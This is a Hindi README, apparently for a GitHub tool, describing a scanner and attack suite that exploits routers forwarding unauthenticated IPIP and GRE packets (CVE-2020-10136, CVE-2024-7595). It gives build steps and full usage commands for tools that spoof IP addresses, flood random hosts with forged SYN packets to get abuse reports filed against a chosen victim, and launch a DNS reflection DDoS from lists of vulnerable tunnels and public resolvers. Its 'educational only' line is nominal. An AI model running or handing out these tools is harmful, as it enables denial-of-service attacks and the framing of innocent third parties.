
उन होस्ट्स के लिए स्कैनर और आक्रमण सूट जो IPIP और GRE प्रोटोकॉल के माध्यम से अप्रमाणित पैकेट फॉरवर्ड करते हैं। (CVE-2020-10136 CVE-2024-7595)

सार्वजनिक इंटरनेट पर मौजूद होस्टों (अधिकतर Cisco राउटर) के लिए एक स्कैनर और आक्रमण सूट, जो IP-in-IP और GRE प्रोटोकॉल में अनएथेंटिकेटेड पैकेट अग्रेषित करते हैं।
यह कमजोरी, जिसे "टनलिंग प्रोटोकॉल का असुरक्षित कार्यान्वयन" कहा जाता है, CVE-2020-10136 और CVE-2024-7595 के तहत ट्रैक की जाती है। यह आपको प्रभावित होस्टों से किसी भी IP पैकेट को भेजने (लेकिन प्राप्त नहीं करने) की अनुमति देती है।
पहली नज़र में, पैकेट भेजने लेकिन प्राप्त न करने की क्षमता बेकार लग सकती है। हालाँकि, कई प्रभावित होस्ट ऐसे नेटवर्क पर स्थित हैं जो रिवर्स-पाथ फ़िल्टरिंग लागू नहीं करते हैं। इसका मतलब है कि आप इन कमजोरियों का उपयोग करके सार्वजनिक इंटरनेट पर IP पतों को स्पूफ कर सकते हैं, बिना ऐसे होस्ट की आवश्यकता के जिसमें स्रोत पता सत्यापन का अभाव हो (जिसे आमतौर पर IP हेडर संशोधन या IPHM कहा जाता है), DNS एम्प्लीफिकेशन वितरित सेवा-अस्वीकृति (DDoS) जैसे हमलों को शुरू करने के लिए।
यह उपकरण केवल शैक्षिक उद्देश्यों के लिए है।
यह उपकरण 6in4 और IP6IP6 प्रोटोकॉल में समान कमजोरियों के लिए स्कैनिंग शामिल नहीं करता है, क्योंकि IPv6 एक वास्तविक प्रोटोकॉल नहीं है जिसका उपयोग गंभीर व्यक्तियों द्वारा किया जाता है।
cd scanner/
cargo build --release
sudo ./target/release/ipeeyoupeewepee <source_ip> <src_port> <rate_limit> <protocol_type (GRE|IPIP)>
पैरामीटर:
<source_ip>: वह सार्वजनिक IPv4 पता जिससे आप स्कैन कर रहे हैं।<src_port>: वह UDP पोर्ट जिस पर स्कैनर अग्रेषित पैकेट सुनेगा। <rate_limit>: पैकेट दर सीमा प्रति सेकंड पैकेट में (जैसे 1000)।<protocol_type>: स्कैन करने के लिए एनकैप्सुलेशन प्रोटोकॉल, या तो GRE या IPIP।tools/ निर्देशिका में स्थित आक्रमण सूट का उपयोग करने के लिए, सुनिश्चित करें कि आपके पास python3 और scapy स्थापित हैं। वैकल्पिक रूप से, आप tools/ निर्देशिका में रूट के रूप में poetry install और poetry shell चला सकते हैं ताकि एक वर्चुअल वातावरण सेट अप और एक्सेस कर सकें।
यह स्क्रिप्ट जाँचती है कि क्या कमजोर होस्ट स्पूफ किए गए IP पैकेट अग्रेषित करने में सक्षम है।
sudo python3 can_i_spoof.py <source_ip> <source_port> <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
पैरामीटर:
<source_ip>: वह सार्वजनिक IPv4 पता जिससे आप स्कैन कर रहे हैं।<source_port>: अग्रेषित पैकेट सुनने के लिए UDP पोर्ट।<tunnel_ip>: कमजोर IPIP या GRE होस्ट का IP पता।<spoof_ip>: वह IP पता जिसे आप स्पूफ करने का इरादा रखते हैं।<protocol>: शोषण करने के लिए एनकैप्सुलेशन प्रोटोकॉल, या तो GRE या IPIP।उदाहरण उपयोग:
यदि आपकी मशीन का IP पता 192.0.2.42 है और आपके फ़ायरवॉल में UDP पोर्ट 31337 खुला है, और आपने 198.51.100.25 पर एक कमजोर GRE अग्रेषण होस्ट की पहचान की है, तो आप निम्नलिखित कमांड से जाँच सकते हैं कि क्या यह IP पता 203.0.113.23 को स्पूफ कर सकता है:
sudo python3 can_i_spoof.py 192.0.2.42 31337 198.51.100.25 203.0.113.23 GRE
यह स्क्रिप्ट एक कमजोर GRE या IPIP टनलिंग होस्ट का उपयोग करके इंटरनेट पर यादृच्छिक होस्टों के पोर्ट 22 पर स्पूफ किए गए TCP SYN पैकेट भेजती है, जिसका उद्देश्य निर्दिष्ट लक्ष्य IP के विरुद्ध सामूहिक दुरुपयोग रिपोर्ट उत्पन्न करना है।
sudo python3 abuse_honeypot.py <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
पैरामीटर:
<tunnel_ip>: कमजोर IPIP या GRE होस्ट का IP पता।<spoof_ip>: वह IP पता जिसे आप स्पूफ करने का इरादा रखते हैं।<protocol>: शोषण करने के लिए एनकैप्सुलेशन प्रोटोकॉल, या तो GRE या IPIP।उदाहरण उपयोग:
यदि आपने 198.51.100.25 पर एक कमजोर GRE अग्रेषण होस्ट की पहचान की है और IP पता 203.0.113.23 से पोर्ट 22 पर TCP SYN पैकेट स्पूफ करना चाहते हैं, तो आप निम्नलिखित कमांड चला सकते हैं:
sudo python3 abuse_honeypot.py 198.51.100.25 203.0.113.23 GRE
यह स्क्रिप्ट कमजोर GRE या IPIP टनलिंग होस्ट का उपयोग करके DNS प्रतिक्रियाओं को एक निर्दिष्ट लक्ष्य पर परावर्तित करती है, जो DNS रिफ्लेक्शन वितरित सेवा-अस्वीकृति (DDoS) हमले को निष्पादित करने की एक विधि प्रदर्शित करती है। यह उदाहरण बुनियादी है और संभवतः इसे बेहतर एम्प्लीफिकेशन और पैकेट दर प्राप्त करने के लिए बढ़ाया जा सकता है; कोई भी सुधार पाठक के लिए एक अभ्यास के रूप में छोड़ दिया गया है।
sudo python3 dns_reflect.py <tunnel_ips.txt> <dns_resolvers.txt> <spoof_ip>
पैरामीटर:
<tunnel_ips.txt>: एक फ़ाइल जिसमें कमजोर IPIP या GRE होस्टों की IP पतों की सूची है।<dns_resolvers.txt>: एक फ़ाइल जिसमें लक्ष्य को उत्तर वापस परावर्तित करने के लिए उपयोग किए जाने वाले DNS रिज़ॉल्वरों की सूची है।<spoof_ip>: वह IP पता जिसे आप स्पूफ करने का इरादा रखते हैं।उदाहरण उपयोग:
IP पता 203.0.113.23 के विरुद्ध हमला शुरू करने के लिए, आप निम्नलिखित कमांड चलाएंगे:
sudo python3 dns_reflect.py tunnel_ips.txt dns_resolvers.txt 203.0.113.23
इस उदाहरण में, tunnel_ips.txt में कमजोर IPIP या GRE होस्टों की सूची होनी चाहिए, जिसमें प्रत्येक पंक्ति की शुरुआत में प्रोटोकॉल निर्दिष्ट हो, इस प्रकार स्वरूपित:
GRE 198.51.100.25
IPIP 198.51.100.45
GRE 198.51.100.124
GRE 198.51.100.200
IPIP 198.51.100.3
[...]
और dns_resolvers.txt में सार्वजनिक रिकर्सिव DNS रिज़ॉल्वरों की सूची शामिल होनी चाहिए, इस प्रकार स्वरूपित:
9.9.9.9
8.8.8.8
1.1.1.1
[...]